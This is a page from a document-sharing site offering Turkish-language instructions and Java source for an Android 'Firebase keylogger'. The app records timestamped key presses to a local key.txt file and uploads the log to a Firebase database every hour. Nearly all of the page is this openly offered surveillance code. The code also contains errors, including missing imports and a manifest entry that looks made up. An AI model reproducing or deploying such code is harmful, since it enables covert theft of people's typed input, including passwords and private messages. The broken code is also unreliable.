Keylogger

You might also like

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 3

1.

Firebase Kütüphanelerini Ekleme:

Firebase ile çalışabilmek için projenize Firebase kütüphanelerini eklemeniz


gerekir. Bunu yapmak için build.gradle (Module: app) dosyasına aşağıdaki kodları
ekleyin:

dependencies {
implementation 'com.google.firebase:firebase-database:20.2.0'
}
2. Firebase'i Bağlantı Kurma:

Firebase'i projenize bağlamak için build.gradle (Project: app) dosyasına aşağıdaki


kodları ekleyin:

classpath 'com.google.gms:google-services:4.5.1'
3. Manifest Dosyasını Güncelleme:

Firebase'i kullanabilmek için manifest dosyanızı da güncellemeniz gerekir. Bunu


yapmak için AndroidManifest.xml dosyasına aşağıdaki kodları ekleyin:

XML
<application
...
android:usesCleartextTraffic="true">

<meta-data
android:name="com.google.firebase.messenger.NotificationProvider"

android:value="com.google.firebase.components.firebaserouting.FirebaseMessagingServ
ice" />

<service
android:name=".MyFirebaseMessagingService"
android:exported="true">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_SERVICE" />
</intent-filter>
</service>
</application>

package com.example.firebasekeylogger;

import android.content.Context;
import android.os.Bundle;
import android.view.KeyEvent;
import android.widget.Toast;

import androidx.appcompat.app.AppCompatActivity;

import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;

public class MainActivity extends AppCompatActivity {

private DatabaseReference database;


private String keyLog = "";
private Timer timer;
private SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd
HH:mm:ss");
private long lastUploadTime = 0;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// Firebase bağlantısı kur


database = FirebaseDatabase.getInstance().getReference();

// Tuş basışlarını dinle


this.getWindow().getDecorView().getRootView().setOnKeyListener(new
View.OnKeyListener() {
@Override
public boolean onKey(View v, int keyCode, KeyEvent event) {
if (event.getAction() == KeyEvent.ACTION_DOWN) {
String keyName = KeyEvent.keyToString(keyCode);
keyLog += dateFormat.format(new Date()) + ": " + keyName + "\
n";

// Key.txt dosyasına kaydet


saveKeyLogToFile(keyLog);
}
return false;
}
});

// Her 1 saatte bir veriyi Firebase'e gönder


scheduleDataUpload();
}

private void saveKeyLogToFile(String keyLog) {


try {
File file = new File(getFilesDir(), "key.txt");
if (!file.exists()) {
file.createNewFile();
}

BufferedWriter writer = new BufferedWriter(new FileWriter(file, true));


writer.write(keyLog);
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
}

private void sendDataToFirebase() {


long currentTime = System.currentTimeMillis();
if (currentTime - lastUploadTime >= 3600000) { // 1 saat (mili saniye
olarak)
if (isNetworkAvailable()) {
database.child("keyLog").setValue(keyLog);
keyLog = ""; // Veriyi gönderdikten sonra sıfırla
Toast.makeText(this, "Veri Firebase'e gönderildi",
Toast.LENGTH_SHORT).show();
lastUploadTime = currentTime; // Son gönderme zamanını güncelle
} else {
Toast.makeText(this, "Veri gönderilemedi. İnternet bağlantınızı
kontrol edin.", Toast.LENGTH_SHORT).show();
}
}
}

private boolean isNetworkAvailable() {


ConnectivityManager cm = (ConnectivityManager)
getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo activeNetwork = cm.getActiveNetworkInfo();
return activeNetwork != null && activeNetwork.isConnectedOrConnecting();
}

private void scheduleDataUpload() {


timer = new Timer();
timer.scheduleAtFixedRate(new TimerTask() {
@Override
public void run() {
runOnUiThread(new Runnable() {
@Override
public void run() {
sendDataToFirebase();
}
});
}
}, 0, 3600000); // 1 saat (mili saniye olarak)
}

@Override
protected void onDestroy() {
super.onDestroy();
if (timer != null) {
timer.cancel();
}
}
}

You might also like